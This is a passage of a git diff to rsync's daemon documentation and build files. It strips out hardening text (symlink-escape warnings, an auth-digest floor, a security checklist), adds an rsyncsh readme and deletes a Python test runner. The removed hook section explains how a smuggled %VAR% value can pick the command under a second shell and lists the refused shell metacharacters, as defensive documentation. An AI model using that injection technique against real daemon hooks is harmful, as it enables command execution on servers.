not\n-    \"/\"), an incoming symlink is not prefixed but is still sanitized as it is\n-    stored: a leading slash is dropped and any leading \"..\" components that would\n-    take the value above the module are removed, so a stored symlink's value\n-    cannot name a path outside the module (it can still point to another name\n-    inside the module).\n-\n-    Munging changes only the symlink VALUES that are stored.  Whether the daemon\n-    follows a *pre-existing* in-module symlink when it resolves a transfer path\n-    is a separate matter, governed by the secure path resolver that is on by\n-    default; see the \"[insecure links](#)\" parameter for the exact rule and how\n-    to opt out of it.\n-\n+    This parameter tells rsync to modify all symlinks in the same way as the\n+    (non-daemon-affecting) `--munge-links` command-line option (using a method\n+    described below).  This should help protect your files from user trickery\n+    when your daemon module is writable.  The default is disabled when\n+    \"[use chroot](#)\" is on with an inside-chroot path of \"/\", OR if \"[daemon chroot](#)\"\n+    is on, otherwise it is enabled.\n+\n+    If you disable this parameter on a daemon that is not read-only, there are\n+    tricks that a user can play with uploaded symlinks to access\n+    daemon-excluded items (if your module has any), and, if \"[use chroot](#)\" is\n+    off, rsync can even be tricked into showing or changing data that is\n+    outside the module's path (as access-permissions allow).\n+\n+    The way rsync disables the use of symlinks is to prefix each one with the\n+    string \"/rsyncd-munged/\".  This prevents the links from being used as long\n+    as that directory does not exist.  When this parameter is enabled, rsync\n+    will refuse to run if that path is a directory or a symlink to a directory.\n     When using the \"munge symlinks\" parameter in a chroot area that has an\n     inside-chroot path of \"/\", you should add \"/rsyncd-munged/\" to the exclude\n     setting for the module so that a user can't try to create it.\n \n-    To add or remove the \"/rsyncd-munged/\" prefix on symlinks yourself (for\n-    instance on links you create locally inside a module), there is a python\n-    script in the support directory of the source code named \"munge-symlinks\".\n-\n-0.  `insecure links`\n-\n-    This parameter (defaulting to \"false\") controls whether the daemon resolves\n-    its symlink-bearing paths with the normal symlink-race defences or with the\n-    legacy follow-any-symlink behaviour.\n-\n-    When false (the default), the daemon refuses to follow a symlink it did not\n-    create -- the directory enumeration and file-content opens of the served\n-    module, and the operator-supplied paths (`--backup-dir`, `--temp-dir`,\n-    `--partial-dir`, the alt-dest basis dirs, and so on) are all resolved with a\n-    walk that follows a symlink component only when it is owned by uid&nbsp;0 or\n-    by the uid the module runs as, refusing one planted by any other user.  A\n-    client can never relax this: a client that sends `--insecure-links` to the\n-    daemon has its request refused.\n-\n-    Setting this parameter to \"true\" restores the pre-hardening behaviour for\n-    **this module only**: the daemon follows **any** symlink in those paths.\n-\n-    > **WARNING:** enabling \"insecure links\" re-opens the symlink-escape /\n-    > TOCTOU vulnerabilities that the default closes (including CVE-2026-53797\n-    > and CVE-2026-53801): an attacker who can create a symlink inside the module\n-    > -- or who shares the host with the served tree -- can redirect the daemon's\n-    > reads and writes to files **outside** the module.  Enable it **only** on a\n-    > single-tenant, fully-isolated, or otherwise trusted host where no untrusted\n-    > local user can plant a symlink in the served tree.  It is the daemon\n-    > analogue of the client's `--insecure-links` and exists for the same narrow\n-    > \"I accept the risk in my isolated environment\" case.\n+    Note:  rsync makes no attempt to verify that any pre-existing symlinks in\n+    the module's hierarchy are as safe as you want them to be (unless, of\n+    course, it just copied in the whole hierarchy).  If you setup an rsync\n+    daemon on a new area or locally add symlinks, you can manually protect your\n+    symlinks from being abused by prefixing \"/rsyncd-munged/\" to the start of\n+    every symlink's value.  There is a perl script in the support directory of\n+    the source code named \"munge-symlinks\" that can be used to add or remove\n+    this prefix from your symlinks.\n+\n+    When this parameter is disabled on a writable module and \"[use chroot](#)\" is\n+    off (or the inside-chroot path is not \"/\"), incoming symlinks will be\n+    modified to drop a leading slash and to remove \"..\" path elements that\n+    rsync believes will allow a symlink to escape the module's hierarchy.\n+    There are tricky ways to work around this, though, so you had better trust\n+    your users if you choose this combination of parameters.\n \n 0.  `charset`\n \n@@ -617,16 +573,6 @@ in the values of parameters.  See that section for details.\n     exclude everything in the subtree; the easiest way to do this is with a\n     triple-star pattern like \"`/secret/***`\".\n \n-    The filter chain matches the **logical name** of each item relative to the\n-    module root, not the physical file it resolves to.  It is a visibility and\n-    tamper filter, **not** a security boundary against symlinks: a symlink inside\n-    the module whose own name is not excluded can still be followed to an excluded\n-    target (the name the filter sees -- e.g. \"`link`\" -- is not the excluded name\n-    -- e.g. \"`secret`\").  What protects a writable module from symlink trickery is\n-    the \"[munge symlinks](#)\" parameter (enabled by default for a writable,\n-    non-chrooted module), **not** this filter; do not rely on `exclude`/`filter` to\n-    confine a peer who can introduce or traverse a symlink.\n-\n     The \"filter\" parameter takes a space-separated list of daemon filter rules,\n     though it is smart enough to know not to split a token at an internal space\n     in a rule (e.g. \"`- /foo  - /bar`\" is parsed as two rules).  You may specify\n@@ -768,60 +714,18 @@ in the values of parameters.  See that section for details.\n     passwords.\n \n     There is no default for the \"secrets file\" parameter, you must choose a\n-    name (such as `/etc/rsyncd.secrets`).  Unless \"[strict modes](#)\" is\n-    disabled, the file must not be readable or writable by \"other\", and (when\n-    the daemon runs as root) must be owned by root; see \"[strict modes](#)\" for\n-    the exact check.  If the file is not found or is rejected, no logins for an\n-    \"[auth users](#)\" module will be possible.\n-\n-0.  `auth digest`\n-\n-    This parameter sets the *minimum* message digest that the daemon will accept\n-    for the challenge-response authentication of an \"[auth users](#)\" module.\n-    The available digests, strongest first, are `sha512`, `sha256`, `sha1`,\n-    `md5`, `md4`.  The daemon selects its own most-preferred digest that also\n-    appears in the connecting client's advertised list (and falls back to `md5`,\n-    or `md4` below protocol 30, for a client that advertises none), so a client\n-    that advertises only weak digests can still force a weak negotiated digest.\n-    If it is weaker than the configured\n-    name, the connection is refused before the challenge is sent.  The value is a\n-    single digest name, for example:\n-\n-    >     auth digest = sha256\n-\n-    which requires `sha256` or `sha512` and refuses an `md5` or `md4` exchange.\n-\n-    This guards against an *auth-digest downgrade*.  A peer that sends no digest\n-    list (any rsync before 3.2.0, including the openrsync that ships with macOS)\n-    makes the daemon fall back to `md5` (or `md4` below protocol 30), and an\n-    on-path attacker can rewrite the unauthenticated negotiation to force the same\n-    weak choice.  A captured challenge-response is far cheaper to brute-force\n-    offline against a weak digest, so a site whose clients are all modern can\n-    require a strong one.  See the rsync `SECURITY.md` document for the full\n-    threat model.\n-\n-    There is **no default** -- the floor is off and the daemon accepts whatever\n-    digest is negotiated, preserving compatibility with older clients.  Enabling a\n-    floor refuses every client that cannot offer at least that digest, notably any\n-    rsync older than 3.2.0 (when the SHA digests were added) and the\n-    macOS-bundled openrsync, which authenticate only with `md4`/`md5`.  The SHA\n-    digests require an rsync built with openssl at both ends; naming a digest this\n-    build does not provide refuses all logins to the module (fail-closed).\n-\n-    Like the other auth parameters, this may be set per module or, for a default\n-    that applies to every module, in the global part of the config file.\n+    name (such as `/etc/rsyncd.secrets`).  The file must normally not be\n+    readable by \"other\"; see \"[strict modes](#)\".  If the file is not found or is\n+    rejected, no logins for an \"[auth users](#)\" module will be possible.\n \n 0.  `strict modes`\n \n     This parameter determines whether or not the permissions on the secrets\n-    file will be checked.  If \"strict modes\" is true (the default), the secrets\n-    file is rejected if it is readable or writable by \"other\" (i.e. if any of\n-    the other-read or other-write permission bits is set), and, when the daemon\n-    is running as root, if the file is not owned by root.  Group permissions and\n-    the other-execute bit are not consulted, so modes such as 600 or 640 are\n-    accepted while 644 (or any other-readable/-writable mode) is rejected.  If\n-    \"strict modes\" is false, no permission check is performed.  This parameter\n-    was added to accommodate rsync running on the Windows operating system.\n+    file will be checked.  If \"strict modes\" is true, then the secrets file\n+    must not be readable by any user ID other than the one that the rsync\n+    daemon is running under.  If \"strict modes\" is false, the check is not\n+    performed.  The default is true.  This parameter was added to accommodate\n+    rsync running on the Windows operating system.\n \n 0.  `hosts allow`\n \n@@ -853,20 +757,6 @@ in the values of parameters.  See that section for details.\n     - an '@' followed by a netgroup name, which will match if the reverse DNS\n       of the connecting IP is in the specified netgroup.\n \n-    If rsync was built with IDN support (look for \"IDN\" in `rsync --version`),\n-    a hostname pattern may contain non-ASCII characters: this file is read as\n-    UTF-8, and each non-ASCII label is converted to its IDNA A-label\n-    (\"Punycode\") form before matching, since the name the daemon has for a\n-    client always reaches it from DNS as ASCII.  A pattern written with\n-    combining characters is normalized on the way, so it matches the same as\n-    its precomposed spelling.  Only those labels change, so an address, a\n-    mask, an already-punycoded name, and the wildcard characters are all\n-    matched exactly as written.  A pattern that cannot be converted that way\n-    is matched as it stands, and thus matches nothing.  That includes a\n-    pattern whose conversion would have introduced a character it was not\n-    written with, such as the U+FF0A FULLWIDTH ASTERISK that the IDNA mapping\n-    turns into a \"*\".\n-\n     Note IPv6 link-local addresses can have a scope in the address\n     specification:\n \n@@ -1174,42 +1064,6 @@ in the values of parameters.  See that section for details.\n     - `RSYNC_RAW_STATUS`: (post-xfer only) the raw exit value from\n       **waitpid()**.\n \n-    A `%VAR%` reference expanded into one of these commands is escaped for the\n-    quoting context it appears in, which is correct for the single shell that\n-    runs the command.  It is not correct for a command that starts a SECOND\n-    shell, such as `sh -c '... %RSYNC_USER_NAME% ...'`: the outer shell consumes\n-    the escaping, and the inner one sees the value bare.  A value of `touc?`\n-    would then be glob-expanded against `/usr/bin/`, so the substitution is not\n-    data any more -- it chooses the command.\n-\n-    Because rsync cannot escape for an unknown number of shell passes, a value\n-    carrying any character that a shell could act on is refused outright, and\n-    the transfer is aborted with\n-\n-    >     refusing to run shell hook: %VAR% holds a shell metacharacter\n-\n-    The refused characters are whitespace, the quoting and expansion characters\n-    `'` `\"` `` ` `` `$` `\\`, the separators `;` `&` `|`, redirections `<` `>`,\n-    parentheses, the pattern characters `*` `?` `[` `]`, `#`, `!`, `~`, `{` `}`,\n-    and any control character.  Some of those are harmless on their own and are\n-    refused for what a *second* shell would do with them -- `!` negates in\n-    command position, so a hook written as an access check can be turned from a\n-    denial into an approval, and `~` is tilde-expanded.\n-\n-    This applies to EVERY `%RSYNC_*%` value, including ones you supplied\n-    yourself.  In particular a module whose `path` contains any of them cannot\n-    be interpolated into one of these commands: `path = /srv/My Backups` with a command mentioning\n-    `%RSYNC_MODULE_PATH%` will refuse every transfer of that module, not just a\n-    hostile one.  The restriction is deliberate -- rsync cannot tell your space\n-    from an attacker's once both are inside the same string, and `path` itself\n-    may be built from a peer value such as `path = /home/%RSYNC_USER_NAME%`.\n-\n-    If you need such a value in a hook, pass it through the environment instead\n-    of interpolating it: the same names are exported to the command, so\n-    `\"$RSYNC_MODULE_PATH\"` inside your script is unrestricted by this check.\n-    Quote it there as shown -- rsync no longer has any say in how your script\n-    splits the value.\n-\n     Even though the commands can be associated with a particular module, they\n     are run using the permissions of the user that started the daemon (not the\n     module's uid/gid setting) without any chroot restrictions.\n@@ -1219,16 +1073,6 @@ in the values of parameters.  See that section for details.\n     **system()** call's default shell), and use RSYNC_NO_XFER_EXEC to disable\n     both options completely.\n \n-0.  `temp dir`\n-\n-    Specifies a directory that rsync should use for temporary files created\n-    during the transfer of updated files. If that directory is on a different\n-    partition, after transfer file is being copied instead of unlinked. \n-\n-    This parameter equals with `--temp-dir` option, so please consult rsync\n-    manpage for further information. \n-\n-    \n ## CONFIG DIRECTIVES\n \n There are currently two config directives available that allow a config file to\n@@ -1284,70 +1128,13 @@ This would merge any `/etc/rsyncd.d/*.inc` files (for global values that should\n stay in effect), and then include any `/etc/rsyncd.d/*.conf` files (defining\n modules without any global-value cross-talk).\n \n-## SECURITY\n-\n-An rsync daemon exposes part of your filesystem to network clients, and its\n-master process usually runs as root, so it should be configured defensively.\n-The following is a practical checklist; the project's `SECURITY.md` describes the\n-underlying threat model and the per-platform residuals.\n-\n-0.  **Confine each module to its path.**\n-    Leave \"[use chroot](#)\" enabled (the default attempts a chroot) so the\n-    per-connection worker is jailed inside the module's \"[path](#)\".  Where chroot\n-    is unavailable rsync still resolves every transfer path so it cannot escape\n-    the module through a symlinked parent, but a chroot is the stronger boundary\n-    -- keep it on unless you have a specific reason not to.  A `path =\n-    /outer/./inner` chroots to `/outer` while serving `/inner` as the module root.\n-\n-0.  **Drop privileges.**\n-    Give each module a low-privilege \"[uid](#)\" and \"[gid](#)\" so a worker never\n-    serves files as root; only the master process needs root (to chroot and bind\n-    the port).  Keep modules \"[read only](#)\" unless they must accept uploads, and\n-    prefer \"[numeric ids](#)\" (or a \"[name converter](#)\") so a malicious file\n-    list cannot map files to an unexpected local owner.\n-\n-0.  **Restrict who can connect.**\n-    Limit reachability with \"[hosts allow](#)\" / \"[hosts deny](#)\", bind the\n-    daemon to a specific \"[address](#)\", and use a host firewall.  A module\n-    without \"[auth users](#)\" is reachable by anyone who can reach the port.\n-\n-0.  **Authenticate with a strong secret and digest.**\n-    Require login with \"[auth users](#)\" plus a \"[secrets file](#)\" that is\n-    readable only by the daemon user (rsync refuses a too-open file unless\n-    \"[strict modes](#)\" is disabled), and use a long, high-entropy secret.  To\n-    refuse the weak MD4/MD5 challenge digests that old clients can negotiate, set\n-    a floor with \"[auth digest](#)\" (for example `auth digest = sha512`); see the\n-    AUTHENTICATION STRENGTH section below.\n-\n-0.  **Encrypt the connection.**\n-    The daemon protocol authenticates but does **not** encrypt the data stream.\n-    Do not expose a cleartext daemon to an untrusted network: front it with a TLS\n-    proxy (see the SSL/TLS Daemon Setup section below) or run it over ssh.\n-\n-0.  **Keep symlink handling safe.**\n-    Leave \"[munge symlinks](#)\" enabled on any writable module (it is the default)\n-    so an uploaded symlink cannot redirect a later operation outside the module.\n-    Do **not** set \"[insecure links](#) = yes\" on a host shared with untrusted\n-    local users: it disables the daemon's symlink-escape protections (re-opening\n-    the symlink TOCTOU/escape vulnerabilities, including CVE-2026-53797 and\n-    CVE-2026-53801) and is appropriate only on a single-tenant, fully isolated\n-    host.\n-\n-0.  **Refuse options you do not want.**\n-    Use \"[refuse options](#)\" to reject client options a module should not allow.\n-\n ## AUTHENTICATION STRENGTH\n \n-Daemon authentication is a challenge-response system in which the client\n-returns a digest of the shared secret and a server-chosen challenge.  Modern\n-rsync (3.2.7 and later, built with openssl) negotiates the strongest digest both\n-sides support -- `sha512` by default -- but for backward compatibility it falls\n-back to `md5` (or `md4` below protocol 30) for a client that advertises no digest\n-list, and the digest negotiation is itself unauthenticated.  A daemon that wants\n-to require a strong digest can set \"[auth digest](#)\".  For the best protection,\n-run rsync over ssh or a verified TLS transport (`rsync-ssl`), which protects the\n-exchange at the transport layer, and use a high-entropy shared secret (which is\n-infeasible to brute-force regardless of the digest).\n+The authentication protocol used in rsync is a 128 bit MD4 based challenge\n+response system. This is fairly weak protection, though (with at least one\n+brute-force hash-finding algorithm publicly available), so if you want really\n+top-quality security, then I recommend that you run rsync over ssh.  (Yes, a\n+future version of rsync will switch over to a stronger hashing method.)\n \n Also note that the rsync daemon protocol does not currently provide any\n encryption of the data that is transferred over the connection. Only\n@@ -1488,7 +1275,5 @@ Thanks to Karsten Thygesen for his many suggestions and documentation!\n Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.\n \n-Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.\n-\n Mailing lists for support and development are available at\n <https://lists.samba.org/>.\ndiff --git a/rsyncsh.txt b/rsyncsh.txt\nnew file mode 100644\nindex 0000000..93932dc\n--- /dev/null\n+++ b/rsyncsh.txt\n@@ -0,0 +1,26 @@\n+rsyncsh\n+Copyright (C) 2001 by Martin Pool\n+\n+This is a quick hack to build an interactive shell around rsync, the\n+same way we have the ftp, lftp and ncftp programs for the FTP\n+protocol.  The key application for this is connecting to a public\n+rsync server, such as rsync.kernel.org, change down through and list\n+directories, and finally pull down the file you want.\n+\n+rsync is somewhat ill-at-ease as an interactive operation, since every\n+network connection is used to carry out exactly one operation.  rsync\n+kind of \"forks across the network\" passing the options and filenames\n+to operate upon, and the connection is closed when the transfer is\n+complete.  (This might be fixed in the future, either by adapting the\n+current protocol to allow chained operations over a single socket, or\n+by writing a new protocol that better supports interactive use.)\n+\n+So, rsyncsh runs a new rsync command and opens a new socket for every\n+(network-based) command you type.\n+\n+This has two consequences.  Firstly, there is more command latency\n+than is really desirable.  More seriously, if the connection cannot be\n+done automatically, because for example it uses SSH with a password,\n+then you will need to enter the password every time.  We might even\n+fix this in the future, though, by having a way to automatically feed\n+the password to SSH if it's entered once.\ndiff --git a/runtests.py b/runtests.py\ndeleted file mode 100755\nindex 4f62c12..0000000\n--- a/runtests.py\n+++ /dev/null\n@@ -1,1024 +0,0 @@\n-#!/usr/bin/env python3\n-\n-# Copyright (C) 2001, 2002 by Martin Pool <mbp@samba.org>\n-# Copyright (C) 2003-2022 Wayne Davison\n-# Copyright (C) 2026 Andrew Tridgell\n-#\n-# Rewrite of runtests.sh in Python (runtests.sh is now deprecated).\n-#\n-# This program is free software; you can redistribute it and/or modify\n-# it under the terms of the GNU General Public License version\n-# 2 as published by the Free Software Foundation.\n-\n-\"\"\"rsync test runner.\n-\n-Invokes test scripts from testsuite/ and reports results.\n-Can be called by 'make check' or directly.\n-\n-Usage:\n-    ./runtests.py [options] [TEST ...]\n-\n-Each TEST is a test name (e.g. 'delete') or glob pattern (e.g. 'xattr*').\n-If no tests are specified, all tests are run.\n-\"\"\"\n-\n-import argparse\n-import concurrent.futures\n-import fnmatch\n-import glob\n-import math\n-import os\n-import signal\n-import subprocess\n-import sys\n-import threading\n-import time\n-\n-# Share the test exit-code enum with the test helpers. exitcodes.py lives in\n-# testsuite/ (next to this script); it has no import-time side effects.\n-sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), 'testsuite'))\n-from exitcodes import Exit\n-\n-\n-def _race_seconds(text):\n-    \"\"\"argparse type for --race-timeout: a finite, strictly positive number.\n-\n-    A race test loops `while monotonic() < deadline`, so a budget of 0 (or a\n-    negative, or a NaN, which fails every comparison) runs the body ZERO times\n-    and the test reports PASS without ever exercising its oracle -- a silently\n-    disarmed security test, which is worse than a slow one. Infinity would run\n-    until the unrelated per-test timeout. The old max(RACE_TIMEOUT, 10.0) floor\n-    used to make this unreachable; validating here restores that guarantee.\"\"\"\n-    try:\n-        secs = float(text)\n-    except ValueError:\n-        raise argparse.ArgumentTypeError(f'not a number: {text!r}')\n-    if not math.isfinite(secs) or secs <= 0:\n-        raise argparse.ArgumentTypeError(\n-            f'must be a finite positive number of seconds, got {text!r}; '\n-            'a zero/negative/NaN budget would make every race test pass '\n-            'without running its race')\n-    return secs\n-\n-\n-def parse_args():\n-    p = argparse.ArgumentParser(description='Run rsync test suite')\n-    p.add_argument('tests', nargs='*', metavar='TEST',\n-                   help='Test names or patterns to run (default: all)')\n-    p.add_argument('--exclude', default=None, metavar='LIST',\n-                   help='Comma-separated test names/globs to skip entirely: '\n-                        'they are not run and not reported as skipped. Useful '\n-                        'for tests that cannot work in a given build/CI '\n-                        'environment (e.g. a restricted buildd chroot). '\n-                        'Falls back to the RSYNC_EXCLUDE environment variable.')\n-    p.add_argument('-j', '--parallel', type=int, default=1, metavar='N',\n-                   help='Run up to N tests in parallel (default: 1)')\n-    p.add_argument('--valgrind', action='store_true',\n-                   help='Run rsync under valgrind (logs to per-process files)')\n-    p.add_argument('--valgrind-opts', default='', metavar='OPTS',\n-                   help='Extra valgrind options (e.g. \"--leak-check=full\")')\n-    p.add_argument('--preserve-scratch', action='store_true',\n-                   help='Keep scratch directories after tests complete')\n-    p.add_argument('--log-level', type=int, default=1, metavar='N',\n-                   help='Verbosity level 1-10 (default: 1)')\n-    p.add_argument('--always-log', action='store_true',\n-                   help='Show test logs even for passing tests')\n-    p.add_argument('--stop-on-fail', action='store_true',\n-                   help='Stop after first test failure')\n-    p.add_argument('--timing', action='store_true',\n-                   help='After the run, report each test\\'s wall-clock time, '\n-                        'slowest first. With -j N the report also shows how '\n-                        'much of the run the slowest test alone accounts for.')\n-    p.add_argument('--timeout', type=int, default=300, metavar='SECS',\n-                   help='Per-test timeout in seconds (default: 300)')\n-    p.add_argument('--race-timeout', type=_race_seconds, default=None, metavar='SECS',\n-                   help='Budget (seconds) a TOCTOU symlink-race test may spend '\n-                        'trying to win its race before concluding. Overrides '\n-                        'every such test\\'s own default (5-15s, the suite\\'s '\n-                        'slowest tests: a race test always spends its whole '\n-                        'budget). Lowering it speeds the suite up but weakens '\n-                        'the oracle. Unset: each test keeps its default.')\n-    p.add_argument('--rsync-bin', default=None, metavar='PATH',\n-                   help='Path to rsync binary (default: ./rsync)')\n-    p.add_argument('--rsync-bin2', default=None, metavar='PATH',\n-                   help='Path to a second (\"peer\") rsync binary used for the '\n-                        'daemon side and remote-shell --rsync-path. Lets the '\n-                        'suite mix two rsync versions over the wire. Default: '\n-                        'same as --rsync-bin (no version mixing).')\n-    p.add_argument('--tooldir', default=None, metavar='DIR',\n-                   help='Tool/build directory (default: cwd)')\n-    p.add_argument('--srcdir', default=None, metavar='DIR',\n-                   help='Source directory (default: script directory)')\n-    p.add_argument('--protocol', type=int, default=None, metavar='VER',\n-                   help='Force protocol version (adds --protocol=VER to rsync)')\n-    p.add_argument('--expect-skipped', default=None, metavar='LIST',\n-                   help='Comma-separated list of expected-skipped tests. An '\n-                        '@FILE entry reads a skip list (one test per line, '\n-                        '\"#\" comments); relative paths resolve against srcdir '\n-                        'and several may be composed, e.g. '\n-                        '@testsuite/skiplist/linux.txt,@testsuite/skiplist/proto29.txt. '\n-                        'A -NAME entry removes a name the rest of the spec '\n-                        'added, for a host that can really run a test its '\n-                        'platform list expects to skip.')\n-    p.add_argument('--expect-result', default=None, metavar='FILE',\n-                   help='Path to an expected-outcome manifest (one '\n-                        '\"<testname> <pass|skip|fail|xfail>\" per line). When '\n-                        'set, ONLY the tests listed in FILE are run, and each '\n-                        \"test's actual outcome is compared against its \"\n-                        'expected one; any mismatch (including an unexpected '\n-                        'pass) fails the run. Used for version-mixing CI.')\n-    p.add_argument('--daemon-tests-only', action='store_true',\n-                   help='Run only the tests that can reach the daemon '\n-                        'transport. Intended for a --use-tcp pass that follows '\n-                        'a full default-transport run: the tests this drops '\n-                        'never call start_test_daemon(), so they cannot observe '\n-                        '--use-tcp and would just repeat themselves. Disables '\n-                        'the expected-skip oracle (it describes a full run).')\n-    p.add_argument('--use-tcp', action='store_true',\n-                   help='Run daemon tests against a real rsyncd bound to '\n-                        '127.0.0.1 (non-default). The default is the secure '\n-                        'stdio-pipe transport, which opens no listening '\n-                        'socket; --use-tcp exposes a loopback port for the '\n-                        'duration of each daemon test.')\n-    return p.parse_args()\n-\n-\n-def find_setfacl_nodef(scratchbase):\n-    \"\"\"Determine the setfacl command to remove default ACLs.\"\"\"\n-    for cmd in [\n-        ['setacl', '-k', 'u::7,g::5,o:5', scratchbase],\n-        ['setfacl', '-k', scratchbase],\n-        ['setfacl', '-s', 'u::7,g::5,o:5', scratchbase],\n-    ]:\n-        try:\n-            subprocess.run(cmd, capture_output=True, timeout=5)\n-            return cmd[:2] if cmd[0] == 'setacl' else cmd[:2]\n-        except (FileNotFoundError, subprocess.TimeoutExpired):\n-            continue\n-    try:\n-        r = subprocess.run(['setfacl', '--help'], capture_output=True, text=True, timeout=5)\n-        if '-k,' in r.stdout or '-k,' in r.stderr:\n-            return ['setfacl', '-k']\n-    except (FileNotFoundError, subprocess.TimeoutExpired):\n-        pass\n-    return None\n-\n-\n-def get_tls_args(config_h):\n-    \"\"\"Determine TLS_ARGS from config.h.\"\"\"\n-    args = ''\n-    try:\n-        with open(config_h) as f:\n-            text = f.read()\n-        if '#define HAVE_LUTIMES 1' in text:\n-            args += ' -l'\n-        if '#undef CHOWN_MODIFIES_SYMLINK' in text:\n-            args += ' -L'\n-    except FileNotFoundError:\n-        pass\n-    return args.strip()\n-\n-\n-def read_shconfig(path):\n-    \"\"\"Read shell config variables from shconfig.\"\"\"\n-    env = {}\n-    try:\n-        with open(path) as f:\n-            for line in f:\n-                line = line.strip()\n-                if line.startswith('#') or line.startswith('export') or not line:\n-                    continue\n-                if '=' in line:\n-                    k, _, v = line.partition('=')\n-                    env[k.strip()] = v.strip().strip('\"')\n-    except FileNotFoundError:\n-        pass\n-    return env\n-\n-\n-def get_testuser():\n-    \"\"\"Determine the current test user.\"\"\"\n-    for cmd in ['/usr/bin/whoami', '/usr/ucb/whoami', '/bin/whoami']:\n-        if os.path.isfile(cmd):\n-            try:\n-                return subprocess.check_output([cmd], text=True).strip()\n-            except subprocess.CalledProcessError:\n-                pass\n-    try:\n-        return subprocess.check_output(['id', '-un'], text=True).strip()\n-    except (FileNotFoundError, subprocess.CalledProcessError):\n-        return os.environ.get('LOGNAME', os.environ.get('USER', 'UNKNOWN'))\n-\n-\n-def _move_aside(path):\n-    \"\"\"Rename an un-removable directory to a unique sibling so its name is free.\n-\n-    A rename-storm symlink-race test can corrupt a directory on some filesystems\n-    (OpenBSD FFS soft-updates can leave an \"empty\" dir that still reports\n-    ENOTEMPTY/EPERM and only fsck clears). `rm -rf` then can't remove it, but\n-    renaming the top dir aside succeeds even with a corrupted descendant, freeing\n-    the original name for a clean scratchdir.\"\"\"\n-    n = 0\n-    while os.path.exists(f\"{path}.corrupt.{os.getpid()}.{n}\"):\n-        n += 1\n-    try:\n-        os.rename(path, f\"{path}.corrupt.{os.getpid()}.{n}\")\n-    except OSError:\n-        pass\n-\n-\n-def prep_scratch(scratchdir, srcdir, tooldir, setfacl_nodef):\n-    \"\"\"Prepare a scratch directory for a test.\"\"\"\n-    if os.path.isdir(scratchdir):\n-        subprocess.run(['chmod', '-R', 'u+rwX', scratchdir], capture_output=True)\n-        subprocess.run(['rm', '-rf', scratchdir], capture_output=True)\n-        if os.path.isdir(scratchdir):\n-            _move_aside(scratchdir)   # rm -rf left corrupted debris; don't inherit it\n-    os.makedirs(scratchdir, exist_ok=True)\n-    if setfacl_nodef:\n-        subprocess.run(setfacl_nodef + [scratchdir], capture_output=True)\n-    try:\n-        os.chmod(scratchdir, os.stat(scratchdir).st_mode & ~0o2000)  # clear setgid\n-    except OSError:\n-        pass\n-    src_link = os.path.join(scratchdir, 'src')\n-    if not os.path.exists(src_link):\n-        if os.path.isabs(srcdir):\n-            os.symlink(srcdir, src_link)\n-        else:\n-            os.symlink(os.path.join(tooldir, srcdir), src_link)\n-\n-\n-# Python tests are identified by a positive \"_test.py\" suffix so that\n-# helper modules (e.g. rsyncfns.py) sit in testsuite/ without being mistaken\n-# for tests.\n-_PY_TEST_SUFFIX = '_test.py'\n-\n-\n-def _is_test_path(path):\n-    return os.path.basename(path).endswith(_PY_TEST_SUFFIX)\n-\n-\n-def _testbase(path):\n-    \"\"\"Strip the test extension to get the canonical test name.\"\"\"\n-    base = os.path.basename(path)\n-    if base.endswith(_PY_TEST_SUFFIX):\n-        return base[:-len(_PY_TEST_SUFFIX)]\n-    return base\n-\n-\n-def collect_tests(suitedir, patterns):\n-    \"\"\"Collect test scripts (_test.py) matching the given patterns.\"\"\"\n-    if not patterns:\n-        candidates = glob.glob(os.path.join(suitedir, '*' + _PY_TEST_SUFFIX))\n-        tests = sorted(p for p in candidates if _is_test_path(p))\n-    else:\n-        seen = set()\n-        tests = []\n-        for pat in patterns:\n-            # Accept either bare name (\"mkpath\"), explicit extension, or glob.\n-            if pat.endswith('.py'):\n-                pats = [pat]\n-            else:\n-                pats = [pat + _PY_TEST_SUFFIX]\n-            for p in pats:\n-                for m in sorted(glob.glob(os.path.join(suitedir, p))):\n-                    if _is_test_path(m) and m not in seen:\n-                        seen.add(m)\n-                        tests.append(m)\n-    return tests\n-\n-\n-# Tokens through which a test can reach the daemon transport. --use-tcp works by\n-# setting RSYNC_TEST_USE_TCP, which is read in exactly one place (rsyncfns\n-# USE_TCP) and acted on in exactly one function (start_test_daemon): a test whose\n-# source mentions none of these never gets there, so it behaves identically with\n-# and without --use-tcp and running it a second time under TCP buys no coverage.\n-#\n-# The list is the closure of every rsyncfns helper that reaches USE_TCP,\n-# start_rsyncd or claim_ports, plus the helper modules that open a daemon\n-# connection themselves and the bare literals a test might use directly. It is\n-# deliberately over-broad: a false positive only costs runtime, while a false\n-# negative would silently drop real coverage.\n-_DAEMON_API = (\n-    'USE_TCP', 'require_tcp', 'start_test_daemon', 'start_rsyncd',\n-    'claim_ports', 'claim_free_port', 'setup_chroot_inner',\n-    'stdio_daemon', 'rsync_proto', 'DaemonClient',\n-    'rsync://', '--daemon', 'rsyncd',\n-)\n-\n-\n-def select_daemon_tests(tests):\n-    \"\"\"Split `tests` into (daemon-transport tests, the rest).\n-\n-    Used by --daemon-tests-only so a TCP pass need not re-run the whole suite.\n-    A test we cannot read is kept, not dropped -- the failure mode of this\n-    filter must always be \"ran too much\".\"\"\"\n-    keep, dropped = [], []\n-    for path in tests:\n-        try:\n-            with open(path, errors='replace') as f:\n-                text = f.read()\n-        except OSError:\n-            keep.append(path)\n-            continue\n-        (keep if any(tok in text for tok in _DAEMON_API) else dropped).append(path)\n-    return keep, dropped\n-\n-\n-_VALID_OUTCOMES = ('pass', 'skip', 'fail', 'xfail')\n-\n-\n-def parse_expect_result(path):\n-    \"\"\"Parse an expected-outcome manifest into {testbase: outcome}.\n-\n-    One \"<testname> <outcome>\" entry per line; '#' comments and blank lines\n-    are ignored. outcome is one of pass|skip|fail|xfail. The set of listed\n-    tests doubles as the run set (see main()). Exits 2 on a malformed file.\n-    \"\"\"\n-    expect = {}\n-    with open(path) as f:\n-        for lineno, raw in enumerate(f, 1):\n-            line = raw.split('#', 1)[0].strip()\n-            if not line:\n-                continue\n-            fields = line.split()\n-            if len(fields) != 2 or fields[1] not in _VALID_OUTCOMES:\n-                sys.stderr.write(\n-                    f\"{path}:{lineno}: expected '<testname> \"\n-                    f\"<{'|'.join(_VALID_OUTCOMES)}>', got: {raw.rstrip()}\\n\"\n-                )\n-                sys.exit(Exit.ERROR)\n-            expect[fields[0]] = fields[1]\n-    return expect\n-\n-\n-def expand_skip_spec(spec, srcdir, suitedir):\n-    \"\"\"Expand an 